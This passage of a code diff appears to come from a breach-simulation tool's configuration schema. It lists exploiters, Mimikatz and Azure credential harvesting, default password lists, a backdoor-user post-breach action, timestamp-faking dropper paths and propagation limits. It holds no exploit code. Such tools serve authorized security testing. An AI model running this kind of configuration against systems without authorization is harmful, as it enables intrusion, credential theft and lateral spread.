"title": "PingScanner"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"HTTPFinger"
|
||||
],
|
||||
"title": "HTTPFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MySQLFinger"
|
||||
],
|
||||
"title": "MySQLFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLFinger"
|
||||
],
|
||||
"title": "MSSQLFinger"
|
||||
},
|
||||
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ElasticFinger"
|
||||
],
|
||||
"title": "ElasticFinger"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"properties": {
|
||||
"basic": {
|
||||
"title": "Basic - Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_user_list": {
|
||||
"title": "Exploit user list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"description": "List of usernames to use on exploits using credentials"
|
||||
},
|
||||
"exploit_password_list": {
|
||||
"title": "Exploit password list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"description": "List of password to use on exploits using credentials"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"title": "Basic - Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"blocked_ips": {
|
||||
"title": "Blocked IPs",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description": "List of IPs to not scan"
|
||||
},
|
||||
"local_network_scan": {
|
||||
"title": "Local network scan",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey should scan its subnets additionally"
|
||||
},
|
||||
"depth": {
|
||||
"title": "Distance from island",
|
||||
"type": "integer",
|
||||
"default": 2,
|
||||
"description":
|
||||
"Amount of hops allowed for the monkey to spread from the island. "
|
||||
+ WARNING_SIGN
|
||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||
},
|
||||
"subnet_scan_list": {
|
||||
"title": "Scan IP/subnet list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description":
|
||||
"List of IPs/subnets the monkey should scan."
|
||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||
}
|
||||
}
|
||||
},
|
||||
"network_analysis": {
|
||||
"title": "Network Analysis",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"inaccessible_subnets": {
|
||||
"title": "Network segmentation testing",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description":
|
||||
"Test for network segmentation by providing a list of"
|
||||
" subnets that should NOT be accessible to each other."
|
||||
" For example, given the following configuration:"
|
||||
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
||||
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
||||
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
||||
" An alert on successful connections will be shown in the report"
|
||||
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"alive": {
|
||||
"title": "Alive",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Is the monkey alive"
|
||||
}
|
||||
}
|
||||
},
|
||||
"behaviour": {
|
||||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey delete its executable when going down"
|
||||
},
|
||||
"use_file_logging": {
|
||||
"title": "Use file logging",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Should the monkey dump to a log file"
|
||||
},
|
||||
"serialize_config": {
|
||||
"title": "Serialize config",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey dump its config on startup"
|
||||
}
|
||||
}
|
||||
},
|
||||
"system_info": {
|
||||
"title": "System info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"extract_azure_creds": {
|
||||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
},
|
||||
"collect_system_info": {
|
||||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to collect system info"
|
||||
},
|
||||
"should_use_mimikatz": {
|
||||
"title": "Should use Mimikatz",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use Mimikatz"
|
||||
},
|
||||
}
|
||||
},
|
||||
"life_cycle": {
|
||||
"title": "Life cycle",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"max_iterations": {
|
||||
"title": "Max iterations",
|
||||
"type": "integer",
|
||||
"default": 1,
|
||||
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
||||
},
|
||||
"victims_max_find": {
|
||||
"title": "Max victims to find",
|
||||
"type": "integer",
|
||||
"default": 30,
|
||||
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
||||
},
|
||||
"victims_max_exploit": {
|
||||
"title": "Max victims to exploit",
|
||||
"type": "integer",
|
||||
"default": 7,
|
||||
"description":
|
||||
"Determines the maximum number of machines the monkey"
|
||||
" is allowed to successfully exploit. " + WARNING_SIGN
|
||||
+ " Note that setting this value too high may result in the monkey propagating to "
|
||||
"a high number of machines"
|
||||
},
|
||||
"timeout_between_iterations": {
|
||||
"title": "Wait time between iterations",
|
||||
"type": "integer",
|
||||
"default": 100,
|
||||
"description":
|
||||
"Determines for how long (in seconds) should the monkey wait between iterations"
|
||||
},
|
||||
"retry_failed_explotation": {
|
||||
"title": "Retry failed exploitation",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the monkey should retry exploiting machines"
|
||||
" it didn't successfuly exploit on previous iterations"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"title": "Internal",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"singleton_mutex_name": {
|
||||
"title": "Singleton mutex name",
|
||||
"type": "string",
|
||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"description":
|
||||
"The name of the mutex used to determine whether the monkey is already running"
|
||||
},
|
||||
"keep_tunnel_open_time": {
|
||||
"title": "Keep tunnel open time",
|
||||
"type": "integer",
|
||||
"default": 60,
|
||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"classes": {
|
||||
"title": "Classes",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"scanner_class": {
|
||||
"title": "Scanner class",
|
||||
"type": "string",
|
||||
"default": "TcpScanner",
|
||||
"enum": [
|
||||
"TcpScanner"
|
||||
],
|
||||
"enumNames": [
|
||||
"TcpScanner"
|
||||
],
|
||||
"description": "Determines class to scan for machines. (Shouldn't be changed)"
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint classes",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/finger_classes"
|
||||
},
|
||||
"default": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
],
|
||||
"description": "Determines which classes to use for fingerprinting"
|
||||
}
|
||||
}
|
||||
},
|
||||
"kill_file": {
|
||||
"title": "Kill file",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"kill_file_path_windows": {
|
||||
"title": "Kill file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%windir%\\monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Windows)"
|
||||
},
|
||||
"kill_file_path_linux": {
|
||||
"title": "Kill file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/var/run/monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Linux)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"dropper": {
|
||||
"title": "Dropper",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_set_date": {
|
||||
"title": "Dropper sets date",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the dropper should set the monkey's file date to be the same as"
|
||||
" another file"
|
||||
},
|
||||
"dropper_date_reference_path_windows": {
|
||||
"title": "Dropper date reference path (Windows)",
|
||||
"type": "string",
|
||||
"default": "%windir%\\system32\\kernel32.dll",
|
||||
"description":
|
||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||
" so on Windows (use fullpath)"
|
||||
},
|
||||
"dropper_date_reference_path_linux": {
|
||||
"title": "Dropper date reference path (Linux)",
|
||||
"type": "string",
|
||||
"default": "/bin/sh",
|
||||
"description":
|
||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
||||
" so on Linux (use fullpath)"
|
||||
},
|
||||
"dropper_target_path_linux": {
|
||||
"title": "Dropper target path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/monkey",
|
||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||
},
|
||||
"dropper_target_path_win_32": {
|
||||
"title": "Dropper target path on Windows (32bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey32.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(32bit)"
|
||||
},
|
||||
"dropper_target_path_win_64": {
|
||||
"title": "Dropper target path on Windows (64bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey64.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(64 bit)"
|
||||
},
|
||||
"dropper_try_move_first": {
|
||||
"title": "Try to move first",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description":
|
||||
"Determines whether the dropper should try to move itsel instead of copying itself"
|
||||
" to target path"
|
||||
}
|
||||
}
|
||||
},
|
||||
"logging": {
|
||||
"title": "Logging",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_log_path_linux": {
|
||||
"title": "Dropper log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1562",
|
||||
"description": "The fullpath of the dropper log file on Linux"
|
||||
},
|
||||
"dropper_log_path_windows": {
|
||||
"title": "Dropper log file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%temp%\\~df1562.tmp",
|
||||
"description": "The fullpath of the dropper log file on Windows"
|
||||
},
|
||||
"monkey_log_path_linux": {
|
||||
"title": "Monkey log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1563",
|
||||
"description": "The fullpath of the monkey log file on Linux"
|
||||
},
|
||||
"monkey_log_path_windows": {
|
||||
"title": "Monkey log file path on Windows",
|
||||
"type": "string",
|
||||
"default": "%temp%\\~df1563.tmp",
|
||||
"description": "The fullpath of the monkey log file on Windows"
|
||||
},
|
||||
"send_log_to_server": {
|
||||
"title": "Send log to server",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
||||
}
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"title": "Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_lm_hash_list": {
|
||||
"title": "Exploit LM hash list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [],
|
||||
"description": "List of LM hashes to use on exploits using credentials"
|
||||
},
|
||||
"exploit_ntlm_hash_list": {
|
||||
"title": "Exploit NTLM hash list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [],
|
||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
||||
},
|
||||
"exploit_ssh_keys": {
|
||||
"title": "SSH key pairs list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"default": [],
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"title": "Monkey Island",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"servers": {
|
||||
"title": "Servers",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"command_servers": {
|
||||
"title": "Command servers",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"192.0.2.0:5000"
|
||||
],
|
||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||
},
|
||||
"internet_services": {
|
||||
"title": "Internet services",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
],
|
||||
"description":
|
||||
"List of internet services to try and communicate with to determine internet"
|
||||
" connectivity (use either ip or domain)"
|
||||
},
|
||||
"current_server": {
|
||||
"title": "Current server",
|
||||
"type": "string",
|
||||
"default": "192.0.2.0:5000",
|
||||
"description": "The current command server the monkey is communicating with"
|
||||
}
|
||||
}
|
||||
},
|
||||
'aws_config': {
|
||||
'title': 'AWS Configuration',
|
||||
'type': 'object',
|
||||
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
|
||||
'properties': {
|
||||
'aws_account_id': {
|
||||
'title': 'AWS account ID',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS account ID that is subscribed to security hub feeds',
|
||||
'default': ""
|
||||
},
|
||||
'aws_access_key_id': {
|
||||
'title': 'AWS access key ID',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
|
||||
'default': ""
|
||||
},
|
||||
'aws_secret_access_key': {
|
||||
'title': 'AWS secret access key',
|
||||
'type': 'string',
|
||||
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
|
||||
'default': ""
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"title": "Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploiter_classes": {
|
||||
"title": "Exploits",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/exploiter_classes"
|
||||
},
|
||||
"default": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"description":
|
||||
"Determines which exploits to use. " + WARNING_SIGN
|
||||
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
||||
},
|
||||
"skip_exploit_if_file_exist": {
|
||||
"title": "Skip exploit if file exists",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
||||
" is already on the remote machine"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ms08_067": {
|
||||
"title": "MS08_067",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ms08_067_exploit_attempts": {
|
||||
"title": "MS08_067 exploit attempts",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Number of attempts to exploit using MS08_067"
|
||||
},
|
||||
"ms08_067_remote_user_add": {
|
||||
"title": "MS08_067 remote user",
|
||||
"type": "string",
|
||||
"default": "Monkey_IUSER_SUPPORT",
|
||||
"description": "Username to add on successful exploit"
|
||||
},
|
||||
"ms08_067_remote_user_pass": {
|
||||
"title": "MS08_067 remote user password",
|
||||
"type": "string",
|
||||
"default": "Password1!",
|
||||
"description": "Password to use for created user"
|
||||
}
|
||||
}
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"title": "RDP grinder",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"rdp_use_vbs_download": {
|
||||
"title": "Use VBS download",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
||||
" (true=VBS, false=BITS)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"sambacry": {
|
||||
"title": "SambaCry",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sambacry_trigger_timeout": {
|
||||
"title": "SambaCry trigger timeout",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Timeout (in seconds) of SambaCry trigger"
|
||||
},
|
||||
"sambacry_folder_paths_to_guess": {
|
||||
"title": "SambaCry folder paths to guess",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
'/',
|
||||
'/mnt',
|
||||
'/tmp',
|
||||
'/storage',
|
||||
'/export',
|
||||
'/share',
|
||||
'/shares',
|
||||
'/home'
|
||||
],
|
||||
"description": "List of full paths to share folder for SambaCry to guess"
|
||||
},
|
||||
"sambacry_shares_not_to_check": {
|
||||
"title": "SambaCry shares not to check",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"IPC$", "print$"
|
||||
],
|
||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||
}
|
||||
}
|
||||
},
|
||||
"smb_service": {
|
||||
"title": "SMB service",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"smb_download_timeout": {
|
||||
"title": "SMB download timeout",
|
||||
"type": "integer",
|
||||
"default": 300,
|
||||
"description":
|
||||
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
||||
},
|
||||
"smb_service_name": {
|
||||
"title": "SMB service name",
|
||||
"type": "string",
|
||||
"default": "InfectionMonkey",
|
||||
"description": "Name of the SMB service that will be set up to download monkey"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"title": "Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tcp_scanner": {
|
||||
"title": "TCP scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"HTTP_PORTS": {
|
||||
"title": "HTTP ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"description": "List of ports the monkey will check if are being used for HTTP"
|
||||
},
|
||||
"tcp_target_ports": {
|
||||
"title": "TCP target ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
],
|
||||
"description": "List of TCP ports the monkey will check whether they're open"
|
||||
},
|
||||
"tcp_scan_interval": {
|
||||
"title": "TCP scan interval",
|
||||
"type": "integer",
|
||||
"default": 200,
|
||||
"description": "Time to sleep (in milliseconds) between scans"
|
||||
},
|
||||
"tcp_scan_timeout": {
|
||||
"title": "TCP scan timeout",
|
||||
"type": "integer",
|
||||
"default": 3000,
|
||||
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
||||
},
|
||||
"tcp_scan_get_banner": {
|
||||
"title": "TCP scan - get banner",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the TCP scan should try to get the banner"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ping_scanner": {
|
||||
"title": "Ping scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ping_scan_timeout": {
|
||||
"title": "Ping scan timeout",
|
||||
"type": "integer",
|
||||
"default": 1000,
|
||||
"description": "Maximum time (in milliseconds) to wait for ping response"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
},
|
||||
"options": {
|
||||
"collapsed": True
|
||||
}
|
||||
}
|
||||
|
||||
# This should be used for config values of array type (array of strings only)
|
||||
ENCRYPTED_CONFIG_ARRAYS = \
|
||||
|
|
|
@ -0,0 +1,900 @@
|
|||
WARNING_SIGN = u" \u26A0"
|
||||
|
||||
SCHEMA = {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"definitions": {
|
||||
"exploiter_classes": {
|
||||
"title": "Exploit class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"title": "SMB Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WmiExploiter"
|
||||
],
|
||||
"title": "WMI Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"title": "MSSQL Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RDP Exploiter (UNSAFE)"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Ms08_067_Exploiter"
|
||||
],
|
||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSH Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ShellShockExploiter"
|
||||
],
|
||||
"title": "ShellShock Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SambaCryExploiter"
|
||||
],
|
||||
"title": "SambaCry Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ElasticGroovyExploiter"
|
||||
],
|
||||
"title": "ElasticGroovy Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Struts2Exploiter"
|
||||
],
|
||||
"title": "Struts2 Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WebLogicExploiter"
|
||||
],
|
||||
"title": "Oracle Web Logic Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"HadoopExploiter"
|
||||
],
|
||||
"title": "Hadoop/Yarn Exploiter"
|
||||
}
|
||||
]
|
||||
},
|
||||
"post_breach_acts": {
|
||||
"title": "Post breach actions",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"BackdoorUser"
|
||||
],
|
||||
"title": "Back door user",
|
||||
},
|
||||
],
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SMBFinger"
|
||||
],
|
||||
"title": "SMBFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHFinger"
|
||||
],
|
||||
"title": "SSHFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"PingScanner"
|
||||
],
|
||||
"title": "PingScanner"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"HTTPFinger"
|
||||
],
|
||||
"title": "HTTPFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MySQLFinger"
|
||||
],
|
||||
"title": "MySQLFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLFinger"
|
||||
],
|
||||
"title": "MSSQLFinger"
|
||||
},
|
||||
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ElasticFinger"
|
||||
],
|
||||
"title": "ElasticFinger"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"properties": {
|
||||
"basic": {
|
||||
"title": "Basic - Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_user_list": {
|
||||
"title": "Exploit user list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"description": "List of usernames to use on exploits using credentials"
|
||||
},
|
||||
"exploit_password_list": {
|
||||
"title": "Exploit password list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"description": "List of password to use on exploits using credentials"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"title": "Basic - Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"blocked_ips": {
|
||||
"title": "Blocked IPs",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description": "List of IPs to not scan"
|
||||
},
|
||||
"local_network_scan": {
|
||||
"title": "Local network scan",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey should scan its subnets additionally"
|
||||
},
|
||||
"depth": {
|
||||
"title": "Distance from island",
|
||||
"type": "integer",
|
||||
"default": 2,
|
||||
"description":
|
||||
"Amount of hops allowed for the monkey to spread from the island. "
|
||||
+ WARNING_SIGN
|
||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
||||
},
|
||||
"subnet_scan_list": {
|
||||
"title": "Scan IP/subnet list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description":
|
||||
"List of IPs/subnets the monkey should scan."
|
||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||
}
|
||||
}
|
||||
},
|
||||
"network_analysis": {
|
||||
"title": "Network Analysis",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"inaccessible_subnets": {
|
||||
"title": "Network segmentation testing",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description":
|
||||
"Test for network segmentation by providing a list of"
|
||||
" subnets that should NOT be accessible to each other."
|
||||
" For example, given the following configuration:"
|
||||
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
||||
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
||||
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
||||
" An alert on successful connections will be shown in the report"
|
||||
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"alive": {
|
||||
"title": "Alive",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Is the monkey alive"
|
||||
},
|
||||
"post_breach_actions": {
|
||||
"title": "Post breach actions",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/post_breach_acts"
|
||||
},
|
||||
"default": [
|
||||
"BackdoorUser",
|
||||
],
|
||||
"description": "List of actions the Monkey will run post breach"
|
||||
},
|
||||
}
|
||||
},
|
||||
"behaviour": {
|
||||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey delete its executable when going down"
|
||||
},
|
||||
"use_file_logging": {
|
||||
